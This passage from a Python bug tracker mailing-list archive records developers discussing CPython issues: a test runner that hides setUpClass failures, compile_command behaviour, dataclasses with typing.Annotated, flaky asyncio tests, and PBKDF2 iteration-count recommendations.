missing_attribute ---------- messages: 411611 nosy: graingert priority: normal pull_requests: 29069 severity: normal status: open title: concurrent.futures.__getattr__ raises the wrong AttributeError message versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:16:50 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 15:16:50 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643123810.93.0.410490400809.issue46521@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:16:56 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 15:16:56 +0000 Subject: [issue46396] `Concatenate` should not raise any semantic errors In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1643123816.43.0.0201854884926.issue46396@roundup.psfhosted.org> Guido van Rossum added the comment: No, that would make the behavior normative. Let sleeping dogs lie. ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:25:19 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 15:25:19 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643124319.92.0.2538653416.issue46519@roundup.psfhosted.org> Ken Jin added the comment: The test correctly fails on the first run in the CI, then skips itself on the second run, tricking the CI into thinking everything's passed. E.g. search for "test_typing" here https://github.com/python/cpython/runs/4902363883?check_suite_focus=true. As to why it does that, I still have no clue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:26:12 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 25 Jan 2022 15:26:12 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643124372.1.0.134732083204.issue46511@roundup.psfhosted.org> Jelle Zijlstra added the comment: Related: issue44799 about InitVar. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:28:43 2022 From: report at bugs.python.org (Thomas Grainger) Date: Tue, 25 Jan 2022 15:28:43 +0000 Subject: [issue46522] concurrent.futures.__getattr__ raises the wrong AttributeError message In-Reply-To: <1643123783.64.0.215214582085.issue46522@roundup.psfhosted.org> Message-ID: <1643124523.39.0.545267690282.issue46522@roundup.psfhosted.org> Thomas Grainger added the comment: this also applies to io and _pyio ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:31:24 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 15:31:24 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1643124684.54.0.704357741059.issue46445@roundup.psfhosted.org> Ken Jin added the comment: New changeset 9a7d01046723a8a0a10f9a26702c5e39e73d4414 by Ken Jin in branch '3.10': [3.10] bpo-46445, bpo-46519: Re-import typing.NewType (GH-30886) https://github.com/python/cpython/commit/9a7d01046723a8a0a10f9a26702c5e39e73d4414 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:31:24 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 15:31:24 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643124684.47.0.872953336017.issue46519@roundup.psfhosted.org> Ken Jin added the comment: New changeset 9a7d01046723a8a0a10f9a26702c5e39e73d4414 by Ken Jin in branch '3.10': [3.10] bpo-46445, bpo-46519: Re-import typing.NewType (GH-30886) https://github.com/python/cpython/commit/9a7d01046723a8a0a10f9a26702c5e39e73d4414 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:32:24 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 15:32:24 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643124744.45.0.526905084145.issue46519@roundup.psfhosted.org> Change by Ken Jin : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:34:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 15:34:16 +0000 Subject: [issue46510] Update Python2-style exception handling In-Reply-To: <1643096464.21.0.982356437879.issue46510@roundup.psfhosted.org> Message-ID: <1643124856.92.0.71874379064.issue46510@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 45f5f52601ebccb195c19cb0a77beaf7f7dfa56a by Kumar Aditya in branch 'main': bpo-46510: update Python2-style exception handling in argparse (GH-30881) https://github.com/python/cpython/commit/45f5f52601ebccb195c19cb0a77beaf7f7dfa56a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:34:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 15:34:29 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643124869.08.0.918263929249.issue46519@roundup.psfhosted.org> Nikita Sobolev added the comment: These lines seem suspicious: ``` 0:09:12 load avg: 6.37 Re-running failed tests in verbose mode 0:09:12 load avg: 6.37 Re-running test_typing in verbose mode (matching: setUpClass) 1 re-run test: test_typing 1 test run no tests: test_typing ``` Probably this happens because the failure is in `setupClass` method, not in a test. When it try to rerun this, it does not do anything. And happily ends the suite. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:42:34 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 15:42:34 +0000 Subject: [issue46523] Test suite skips failing tests Message-ID: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's what happened. We had an error in `test_typing.py`, which was silently ignored. ``` ====================================================================== ERROR: setUpClass (test.test_typing.NewTypeTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\a\cpython\cpython\lib\test\test_typing.py", line 3917, in setUpClass UserId = NewType('UserId', int) NameError: name 'NewType' is not defined ---------------------------------------------------------------------- Ran 396 tests in 0.085s FAILED (errors=1, skipped=1) test test_typing failed ``` Link: https://github.com/python/cpython/runs/4902363883?check_suite_focus=true But, later the suite runner tried to rerun it: ``` 0:09:12 load avg: 6.37 Re-running failed tests in verbose mode 0:09:12 load avg: 6.37 Re-running test_typing in verbose mode (matching: setUpClass) 1 re-run test: test_typing 1 test run no tests: test_typing ``` And since nothing matched `setUpClass` - no tests were executed and the CI went green instead of red. What can we do? 1. Only schedule real `test_` item to be rerun, fail for everything else 2. Convert `setupClass` failure into the whole class rerun 3. Other options? I would like to work on this, when we will decide which way is best. ---------- components: Tests messages: 411620 nosy: sobolevn priority: normal severity: normal status: open title: Test suite skips failing tests type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:42:40 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 15:42:40 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643125360.55.0.213941958231.issue46519@roundup.psfhosted.org> Guido van Rossum added the comment: Exactly what I just thought. A bit more research might find a buggy assumption in the test "framework". ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:43:10 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 15:43:10 +0000 Subject: [issue46519] test_typing failing on branch 3.10 In-Reply-To: <1643116108.88.0.430813061479.issue46519@roundup.psfhosted.org> Message-ID: <1643125390.29.0.129618214059.issue46519@roundup.psfhosted.org> Nikita Sobolev added the comment: I filled a new issue: https://bugs.python.org/issue46523 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:46:07 2022 From: report at bugs.python.org (Paul Kehrer) Date: Tue, 25 Jan 2022 15:46:07 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643125567.65.0.712018535329.issue42982@roundup.psfhosted.org> Paul Kehrer added the comment: NIST provides no official guidance on iteration count other than NIST SP 800-132 Appendix A.2.2, which states "The number of iterations should be set as high as can be tolerated for the environment, while maintaining acceptable performance." I can think of no better resource for what constitutes acceptable performance at the highest iteration count than popular packages like Django. Django's choice (and lack of evidence that they've had any cause to revert due to performance issues) argues that 390k iterations is a reasonable number in 2022. Certainly the 100k suggested in these docs as of 2013 is no longer best practice as we've seen 9 years of computational improvement in the intervening time. I would, additionally, suggest that the documentation recommend the use of scrypt where possible over any iteration count of PBKDF2, but increasing the iteration count is still a useful improvement to the docs! ---------- nosy: +reaperhulk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:46:28 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 15:46:28 +0000 Subject: [issue26120] pydoc: move __future__ imports out of the DATA block In-Reply-To: <1452839500.03.0.307183465285.issue26120@psf.upfronthosting.co.za> Message-ID: <1643125588.19.0.705074521549.issue26120@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29070 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30888 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:48:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 15:48:40 +0000 Subject: [issue26120] pydoc: move __future__ imports out of the DATA block In-Reply-To: <1452839500.03.0.307183465285.issue26120@psf.upfronthosting.co.za> Message-ID: <1643125720.97.0.447333325249.issue26120@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:56:53 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 Jan 2022 15:56:53 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643126213.37.0.177791051804.issue42982@roundup.psfhosted.org> Christian Heimes added the comment: You are arguing from the perspective of a Django/werkzeug developer and you are using experiential domain knowledge to argue for higher recommendation. I'm asking for a scientific answer. Based on my experience 100k PBKDF2 HMAC-SHA256 rounds is already a DoS issue for some use cases. For other uses cases even 500k rounds is not the right answer, because the application should rather use a different algorithm all together. If you are concerned about PBKDF2's strength, then better switch to Scrypt or Argon2. They are better suited against GPU-based crackers. PBKDF2 is still required for FIPS compliance, but most people can (and should!) ignore FIPS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:58:41 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 25 Jan 2022 15:58:41 +0000 Subject: [issue46520] `ast.unparse` produces syntactically illegal code for identifiers that look like reserved words In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643126321.27.0.450511654538.issue46520@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +BTaskaya, Jelle Zijlstra, benjamin.peterson, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:03:48 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 16:03:48 +0000 Subject: [issue46523] Test suite skips failing tests In-Reply-To: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org> Message-ID: <1643126628.96.0.24067148365.issue46523@roundup.psfhosted.org> Ken Jin added the comment: I vote for option 2. ---------- nosy: +ezio.melotti, gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:04:14 2022 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 Jan 2022 16:04:14 +0000 Subject: [issue46523] Test suite skips failing tests when setUp[Class] fails In-Reply-To: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org> Message-ID: <1643126654.25.0.00865063328504.issue46523@roundup.psfhosted.org> Change by Ken Jin : ---------- title: Test suite skips failing tests -> Test suite skips failing tests when setUp[Class] fails _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:05:04 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 16:05:04 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643126704.29.0.699102148118.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This is due to the fact that the new parser doesn't detect the syntax error of "abc def" after it has parsed the full text, but before that happens, the tokenizer has detected a problem (the ''' is not closed) and this is considered incomplete output for code (the same if you do code.compile_command('"""')). Unfortunately, this is not easy to fix once we have the tokenizer error in place so I am afraid we probably need to close this as "won't fix", unless someone has a good idea on how to accommodate for this case. ---------- nosy: +BTaskaya, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:07:41 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 25 Jan 2022 16:07:41 +0000 Subject: [issue30424] make pydoc-topics fails In-Reply-To: <1495381376.42.0.658045095039.issue30424@psf.upfronthosting.co.za> Message-ID: <1643126861.42.0.764540469823.issue30424@roundup.psfhosted.org> Irit Katriel added the comment: We're have minimum sphinx version set to 1.8 now, so this should no longer be an issue. ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:27:45 2022 From: report at bugs.python.org (David Contreras) Date: Tue, 25 Jan 2022 16:27:45 +0000 Subject: =?utf-8?q?=5Bissue46497=5D_IDLE_macOS_shortcut_ctrl+S_doesn=E2=80=99t_wor?= =?utf-8?q?k_for_show_completions?= In-Reply-To: <1642998793.55.0.428070872665.issue46497@roundup.psfhosted.org> Message-ID: <1643128065.35.0.480022437426.issue46497@roundup.psfhosted.org> Change by David Contreras : ---------- assignee: -> terry.reedy components: +IDLE nosy: +terry.reedy type: -> behavior versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:32:43 2022 From: report at bugs.python.org (Tushar Sadhwani) Date: Tue, 25 Jan 2022 16:32:43 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643128363.54.0.763399892385.issue46521@roundup.psfhosted.org> Tushar Sadhwani added the comment: wontfix would really suck, because that would mean every REPL written with the `code` module will be broken, even IPython: ``` $ ipython Python 3.10.0 (default, Oct 11 2021, 05:33:59) [GCC 11.2.0] Type 'copyright', 'credits' or 'license' for more information IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help. In [1]: abc def ''' ...: ...: ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:45:46 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 16:45:46 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643129146.04.0.389744719114.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > wontfix would really suck, because that would mean every REPL written with the `code` module will be broken, even IPython: I understand, but I don't see a way to fix this without reverting the change to detect unclosed triple quites or without committing a lot of code to handle special cases. Also notice that in your example with python, as soon as you close the quotes you get an error: In [1]: asdf dsfsd """ ...: ...: ...: """ Input In [1] asdf dsfsd """ ^ SyntaxError: invalid syntax So is not as dramatic as you mention when you say "every REPL written with the `code` module will be broken". Although I understand it depends on the optics. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:46:11 2022 From: report at bugs.python.org (James Gerity) Date: Tue, 25 Jan 2022 16:46:11 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643129171.28.0.599545310292.issue46282@roundup.psfhosted.org> Change by James Gerity : ---------- title: print() docs do not indicate its return value -> return value of builtins is not clearly indicated _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:50:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 16:50:51 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643129451.83.0.106942949537.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: Converting further static types to heap types require a discussion. See what the Python Steering Council wrote at Feb 8, 2021: "The Steering Council discussed the ongoing work on porting types in the standard library to heap-types and the subinterpreter-related changes. It was decided that through Pablo, the Steering Council will ask the core developers driving those changes to create an informational PEP and not to make any more changes in this area after beta 1, as per our general policy." https://github.com/python/steering-council/blob/1d85eefdc5861a096c3859e9990dbc8527c5973b/updates/2021-02-steering-council-update.md ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:55:08 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 Jan 2022 16:55:08 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643129708.72.0.509448861418.issue33125@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: -Guido.van.Rossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:55:49 2022 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 25 Jan 2022 16:55:49 +0000 Subject: [issue46514] Pathlib Path.touch() seems to ignore groups write bit for mode parameter In-Reply-To: <1643110861.51.0.78665540469.issue46514@roundup.psfhosted.org> Message-ID: <1643129749.3.0.201742686681.issue46514@roundup.psfhosted.org> Ronald Oussoren added the comment: The touch method combines the mode you specify with the active umask (set by os.umask()). This is fairly standard behaviour for Unix APIs that accept a file mode. This is documented at: https://docs.python.org/3/library/pathlib.html#pathlib.Path.touch ---------- nosy: +ronaldoussoren resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 11:58:10 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 25 Jan 2022 16:58:10 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643129890.9.0.15247330077.issue46282@roundup.psfhosted.org> ?ric Araujo added the comment: The new title is puzzling; the discussion moved to advertising that all functions default to returning None, this is not related to the built-in status. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:03:51 2022 From: report at bugs.python.org (Tushar Sadhwani) Date: Tue, 25 Jan 2022 17:03:51 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643130231.49.0.782190200951.issue46521@roundup.psfhosted.org> Tushar Sadhwani added the comment: You're right. There was another bug in my code that was causing the SyntaxError to not show up at all, sorry about that. Can you help me figure out why this bug doesn't show up in the normal Python REPL? ``` >>> abc def ''' File "", line 1 abc def ''' ^^^ SyntaxError: invalid syntax ``` I could then use whatever logic the REPL itself uses instead of relying on `code.compile_command()`, because my requirement is to detect if a code can be incomplete Python code, without ever compiling it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:12:32 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 17:12:32 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643130752.45.0.0822022283189.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Can you help me figure out why this bug doesn't show up in the normal Python REPL? That's because the normal Python REPL works very differently when in interactive mode. This is because the tokenizer in interactive mode is coupled with reading from standard input. We would need to somehow decouple this behaviour with interactive mode, allow a new option to the parser that allows activating this mode and then hook this to codeop module (and maybe other places). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:14:27 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 Jan 2022 17:14:27 +0000 Subject: [issue46521] compile_command not raising syntax error when command ends with triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643130867.85.0.767560027119.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > because my requirement is to detect if a code can be incomplete Python code, without ever compiling it. AS I mentioned in other issues, unfortunately the new parser doesn't allow to do this as the old one does, because how it works. The codeop module hacks around this by comparing the error messages if you add new lines, which is know to be fragile and quite bug-friendly. So I am afraid there is not going to be a reliable and supported way to do this with the new parser. You may need to use a 3rd party library that allows parsing incomplete code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:20:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:20:21 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643131221.5.0.369188178006.issue42238@roundup.psfhosted.org> STINNER Victor added the comment: IMO moving this small script into the separated project https://github.com/JulienPalard/sphinxlint will help people who are not core developers to contribute and it makes the tool usable by projects outside CPython. So yeah, it's a good thing! Also, it's more convenient to add tests, put it on PyPI, etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:22:32 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 25 Jan 2022 17:22:32 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643131352.69.0.995116737868.issue46511@roundup.psfhosted.org> Eric V. Smith added the comment: My thoughts are that I'd like PEP 563 to go away, and PEP 649 to be accepted, and also never allow string literal annotations like the string "Annotated[ClassVar[int]]". But since we'll no doubt have to support string-ized annotations even if PEP 649 is accepted, that's a pipe dream. I think your suggestion for #1 seems reasonable. For #2, in the case where typing has been imported and the annotation isn't a string, I assume it's simple enough to look inside the Annotated object and extract the InitVar (or ClassVar) object. I haven't delved in to Annotated object yet. For #2, with a string annotation, it does look like it will get ugly. I'll have to spend some time looking at _MODULE_IDENTIFIER_RE. I'm guessing we'll need another re that looks for the same basic thing with "Annotated[" or "module.Annotated[" prepended and then look inside that. Or maybe one re to do both. I don't think we should support cases like: from __future__ import annotations myAnnotated = typing.Annotated @dataclass class Foo: a: myAnnotated[ClassVar[int]] (That is, we won't recognize the string "myAnnotated[ClassVar[int]]" as an Annotated ClassVar. Maybe we should also restrict it to "Annotated" or "typing.Annotated", but that would prevent someone from using "import typing as _typing", for example. This is why the current code accepts any module name, not strictly "typing". At least that's my recollection, more study is needed. Or maybe it's time to give up and use typing.get_type_hints() or inspect.get_annotations(), but I suspect there are enough corner cases that will fail that we'll never get that to work right. Nested classes, anyone? The whole runtime inspection of string-ized annotations is a mess. On the "performance is important" comment: I'm not sure this is really an issue any more. There was some PEP that was supposed to speed up importing typing, and I never looked at the performance once it was merged. But then again, I'm not sure we want to always have dataclasses import typing, either. If a program doesn't use dataclasses that using the typing module, there's no sense importing it and enlarging the working set of modules. I welcome any insights on any of these issues. I'm not a typing expert. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:39:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:39:34 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132374.36.0.881924372674.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: Test fixed on Windows 2022 by: commit 1c705fda8f9902906edd26d46acb0433b0b098e1 Author: Kumar Aditya <59607654+kumaraditya303 at users.noreply.github.com> Date: Tue Jan 25 02:34:47 2022 +0530 fixed flaky test (GH-30845) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:40:02 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 17:40:02 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132402.39.0.583861621094.issue41682@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29071 pull_request: https://github.com/python/cpython/pull/30860 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:40:23 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 25 Jan 2022 17:40:23 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132423.49.0.990585713496.issue41682@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29072 pull_request: https://github.com/python/cpython/pull/30861 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:40:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:40:34 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132434.81.0.579674504755.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 75d88b91e6b1320ae0511eaf72e860bea913a3eb by Miss Islington (bot) in branch '3.10': bpo-41682: fixed flaky test test_sendfile_close_peer_in_the_middle_of_receiving (GH-30845) (#30860) https://github.com/python/cpython/commit/75d88b91e6b1320ae0511eaf72e860bea913a3eb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:40:38 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:40:38 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132438.22.0.833224873137.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: New changeset f9ff0bf515e0fa162889aca508e755cc65d85079 by Miss Islington (bot) in branch '3.9': bpo-41682: fixed flaky test test_sendfile_close_peer_in_the_middle_of_receiving (GH-30845) (#30861) https://github.com/python/cpython/commit/f9ff0bf515e0fa162889aca508e755cc65d85079 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:41:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:41:06 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132466.27.0.0510936352821.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: Thanks Kumar for the fix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:43:17 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:43:17 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643132597.55.0.49925327699.issue42238@roundup.psfhosted.org> STINNER Victor added the comment: > It currently looks like this: https://github.com/JulienPalard/sphinxlint but should obviously be moved to github.com/python/ if we adopt this direction. If you want to move the project under the https://github.com/psf/ organization, the PSF has some rules to move a project in the Python organization. For example, contributors must respect the PSF Code of Conduct and the GitHub project must have at least 3 administrators. I forgot when I read these rule exactly. See for example https://github.com/psf/pyperf/ * https://github.com/psf/pyperf/blob/main/CODE_OF_CONDUCT.md * README says "The pyperf project is covered by the PSF Code of Conduct." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 12:45:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 17:45:34 +0000 Subject: [issue41682] [Windows] : Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643132734.66.0.65150387389.issue41682@roundup.psfhosted.org> STINNER Victor added the comment: This failing test was one of my most hated test because it failed randomly for almost 2 years. I'm happy that it has been fixed :-) Regularly, I'm asking for help to fix test_asyncio: * October 2020: https://mail.python.org/archives/list/python-dev at python.org/message/Y7I5ADXAQEGK6DOFAPVDTKMBT6NUFNQ4/ * October 2019: https://mail.python.org/archives/list/python-dev 